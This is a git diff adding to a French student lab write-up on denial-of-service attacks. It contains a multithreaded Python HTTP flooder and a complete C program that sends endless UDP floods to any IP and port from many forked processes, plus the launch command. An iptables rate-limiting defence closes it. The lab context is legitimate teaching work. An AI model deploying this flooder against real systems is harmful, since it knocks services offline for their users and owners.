diff --git a/content/02_dos.md b/content/02_dos.md
index 0d3719b62cbad0af374e120eeb4fa6a726b5adad..31b72d01cb3445361ab446b57b4f0a3511ddc324 100644
--- a/content/02_dos.md
+++ b/content/02_dos.md
@@ -5,11 +5,11 @@
 ## Préparation du serveur
 
 Ci-dessous se trouve la commande pour lancer un serveur HTTP en `python`
+
 ```bash
 sudo python3 -m http.server <numéro_de_port>
 ```
 
-
 ## Programmation du script d'attaque
 
 ### Commencer par essayer d’envoyer une requête toute simple sur la machine Serveur. Quelle est la librairie requise ?
@@ -36,3 +36,171 @@ while True:
     r = requests.get(url=URL, params=PARAMS)
     print(f"Req: {r}")
 ```
+
+## Envoyer un grand nombre de requêtes
+
+### Version multi-threadée
+
+A nouveau, malheureusement, cette version ne nous a pas permis de faire tomber
+le serveur pour des raisons qui nous sont inconnus, cependant nous suspectons
+le **GIL** (_Global Interpreter Lock_) de `python` de nous empêcher de réellement
+"paralléliser" l'envoie des requêtes vers le serveur. Le **GIL** agit comme un
+verrou sur chaque thread même s'il n'y aucune ressource partagée ce qui va provoquer
+une exécution séquentielle des envoies de requêtes.
+
+```python
+import requests
+from threading import Thread
+
+
+URL = "http://192.168.1.121:8080"
+
+
+def send_req():
+    while True:
+        r = requests.get(url=URL)
+        print(f"Request status code = {r.status_code}")
+
+
+if __name__ == "__main__":
+    list_threads = []
+
+    for i in range(500_000):
+        list_threads.append(Thread(target=send_req))
+
+    for thread in list_threads:
+        thread.start()
+```
+
+### Implémentation en `C`
+
+Après une énorme quantité de diverses tentatives de faire fonctionner cette attaque
+en utilisant `python`, nous nous sommes tournés vers une implémentation en `C`.
+
+En résumé, notre exécutable `./dos` demande à l'utilisateur l'IP de la victime,
+le port vers lequel nous souhaitons nous connecter ainsi que la quantité de 
+processus enfant que nous souhaitons créer. Par la suite, nous établissons une
+connexion **UDP** où chaque processus enfant va envoyer pendant une durée
+indéterminée des requêtes vers le serveur jusqu'à ce que celui-ci tombe. Cette
+implémentation a fini par fonctionner.
+
+```c
+#include <arpa/inet.h>
+#include <libgen.h>
+#include <netinet/in.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+int main(int argc, char *argv[]) {
+    if (argc != 4) {
+        fprintf(stderr, "Usage :\n");
+        fprintf(stderr, "\t./%s <IP addr> <port number> <nb child processes>\n",
+                basename(argv[0]));
+        exit(EXIT_FAILURE);
+    }
+
+    char *addr_arg = argv[1];
+    uint16_t port_number = atoi(argv[2]);
+    int nb_child_processes = atoi(argv[3]);
+
+    struct sockaddr_in addr = {0};
+
+    if (inet_pton(AF_INET, addr_arg, &addr.sin_addr) == -1) {
+        perror("inet_pton");
+        exit(EXIT_FAILURE);
+    }
+
+    addr.sin_family = AF_INET;
+    addr.sin_port = htons(port_number);
+
+    for (int i = 0; i < nb_child_processes; i++) {
+        pid_t pid = fork();
+
+        if (pid == 0) {
+            char req_buf[256] = {0};
+            char *req_templ = "GET / HTTP/1.1\r\n"
+                              "Host: %s\r\n"
+                              "Connection: close\r\n\r\n";
+
+            snprintf(req_buf, 255, req_templ, addr_arg);
+
+            int sock = socket(AF_INET, SOCK_DGRAM, 0);
+
+            if (sock == -1) {
+                perror("socket");
+                close(sock);
+                exit(EXIT_FAILURE);
+            }
+
+            if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) ==
+                -1) {
+                perror("connect");
+                close(sock);
+                exit(EXIT_FAILURE);
+            }
+
+            while (true) {
+                if (sendto(sock, req_buf, strlen(req_buf), 0,
+                           (const struct sockaddr *)&addr,
+                           sizeof(addr)) == -1) {
+                    perror("write");
+                    close(sock);
+                    exit(EXIT_FAILURE);
+                }
+            }
+        }
+    }
+
+    for (int i = 0; i < nb_child_processes; i++) {
+        wait(NULL);
+    }
+
+    return EXIT_SUCCESS;
+}
+```
+
+## Lancement de l'attaque
+
+Pour exécuter l'attaque, il suffit d'exécuter le programme `dos` en lui passant
+les arguments nécéssaires.
+
+```bash
+./dos <IP addr> <port number> <nb child processes>
+```
+
+## Protection contre le déni de service
+
+### Quelles sont les protections utilisées à l’heure actuelle pour contrer un déni de service ?
+
+À l'heure actuelle la protéction la plus répandue est de mettre en place un
+"_rate limiter_" qui contrôle la quantité de requêtes que le serveur peut recevoir.
+Si la quantité maximale autorisée de requêtes a été dépasée, ces dernières seront
+rejetées / ignorées.
+
+### Utilisation de `iptables`
+
+Pour notre cas d'utilisation, nous avons du modifier la ligne de commande
+proposée dans l'énoncé pour que celle-ci fonctionne dans le cas de notre attaque.
+
+Les divers paramètres passés à `iptables` sont :
+- `-I INPUT` signifiant que nous allons surveiller le trafic entrant
+- `-p udp` spécifie le protocole utilisé (UDP)
+- `--dport 8080` port sur lequel nous voulons effectuer ce "filtrage"
+- `-m recent --update --seconds --hitcount 4` ces paramètres permettent de "monitorer"
+les connexions effectuées pendant les 60 dernières secondes et s'il y a eu 4 connexions
+venant de la même source durant les 60 dernières secondes, une action sera déclenchée.
+- `--rsource` signifie que les règles de suivi des connexions récentes doivent
+être appliquées en tenant compte de l'adresse source des paquets.
+- `-j DROP` l'action qu'on attribue au paramètre défini précédemment, c'est-à-dire
+faire "tomber" / ignoré les paquets (ne pas les traiter).
+
+
+```bash
+iptables -I INPUT -p udp --dport 8080 -m recent --update --seconds 60 --hitcount 4 --rsource -j DROP
+```